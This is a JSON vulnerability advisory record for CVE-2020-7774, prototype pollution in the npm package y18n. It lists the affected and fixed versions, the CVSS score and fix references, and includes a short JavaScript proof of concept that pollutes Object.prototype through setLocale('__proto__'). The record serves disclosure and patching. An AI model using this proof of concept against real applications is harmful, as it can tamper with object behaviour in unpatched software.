{"id":"CVE-2020-7774","aliases":["GHSA-c4w7-xm78-47vh"],"url":"https://o3.security/vulnerability/CVE-2020-7774","summary":"Prototype Pollution in y18n","details":"### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. \n\n### POC\n\n```js\nconst y18n = require('y18n')();\n\ny18n.setLocale('__proto__');\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.","published":"2020-11-17T13:15:12.633Z","modified":"2026-10-12T10:45:04.621363743Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"y18n","fixedVersion":"3.2.2"},{"ecosystem":"npm","name":"y18n","fixedVersion":"4.0.1"},{"ecosystem":"npm","name":"y18n","fixedVersion":"5.0.5"}],"fix":{"url":"https://github.com/yargs/y18n/pull/108","label":"yargs/y18n#108"},"references":[{"type":"FIX","url":"https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"},{"type":"FIX","url":"https://github.com/yargs/y18n/pull/108"},{"type":"FIX","url":"https://www.oracle.com/security-alerts/cpuApr2021.html"},{"type":"EVIDENCE","url":"https://github.com/yargs/y18n/issues/96"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JS-Y18N-1021887"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7774"},{"type":"WEB","url":"https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3"},{"type":"WEB","url":"https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25"},{"type":"PACKAGE","url":"https://github.com/yargs/y18n"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-12T10:45:04.621363743Z"}}